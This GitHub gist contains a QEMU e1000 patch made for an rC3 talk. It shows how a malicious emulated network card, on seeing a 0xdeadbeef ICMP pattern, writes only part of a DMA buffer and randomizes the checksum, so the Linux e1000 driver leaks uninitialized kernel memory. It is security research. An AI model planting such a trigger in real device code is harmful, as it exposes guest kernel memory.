Created
December 29, 2020 01:24
-
-
Save droogie/58ccd939db7d01b87e360682c2ba070c to your computer and use it in GitHub Desktop.
QEMU 5.0.0 e1000 device patch to trigger clever infoleak (CCC rC3 Presentation: Things not to when using an IOMMU)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- e1000.c 2020-12-28 17:20:18.498942411 -0800 | |
+++ QEMU/hw/net/e1000.c 2020-12-28 17:19:02.474796008 -0800 | |
@@ -965,7 +965,39 @@ e1000_receive_iov(NetClientState *nc, co | |
} | |
do { | |
iov_copy = MIN(copy_size, iov->iov_len - iov_ofs); | |
- pci_dma_write(d, ba, iov->iov_base + iov_ofs, iov_copy); | |
+ | |
+ // We are introducing a detection mechanism which will | |
+ // parse incoming network packets for a specific pattern. | |
+ // Once this pattern is detected (presumably an ICMP packet), | |
+ // we will only write over a portion of the DMA mapping, thus | |
+ // the received packet will introduce data leaks since the allocation | |
+ // was never initialized... per this vulnerability: | |
+ // https://github.com/torvalds/linux/blob/master/drivers/net/ethernet/intel/e1000/e1000_main.c#L4582 | |
+ | |
+ // pattern 0xdeadbeef | |
+ static const char pattern[4] = "\xde\xad\xbe\xef"; | |
+ | |
+ // 42 == sizeof ethernet header + ip header + icmp header | |
+ // thus, it's the start of icmp data section or... | |
+ // "Answer to the Ultimate Question of Life, the Universe, and Everything" | |
+ if(!memcmp(pattern, iov->iov_base + iov_ofs + 42, 4)) { | |
+ | |
+ // 36 == icmp checksump offset | |
+ unsigned short * checksum = iov->iov_base + iov_ofs + 36; | |
+ | |
+ // randomize the checksum to eventually hit a valid | |
+ // checksum for the leaked bytes within the packet buffer | |
+ *checksum = rand(); | |
+ | |
+ // Only write ETH + IP + ICMP + pattern of packet | |
+ // but linux kernel believes we wrote ~1500 into the | |
+ // DMA mapping | |
+ pci_dma_write(d, ba, iov->iov_base + iov_ofs, 46); | |
+ } | |
+ else { | |
+ // A packet we're not interested in, just continue | |
+ pci_dma_write(d, ba, iov->iov_base + iov_ofs, iov_copy); | |
+ } | |
copy_size -= iov_copy; | |
ba += iov_copy; | |
iov_ofs += iov_copy; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment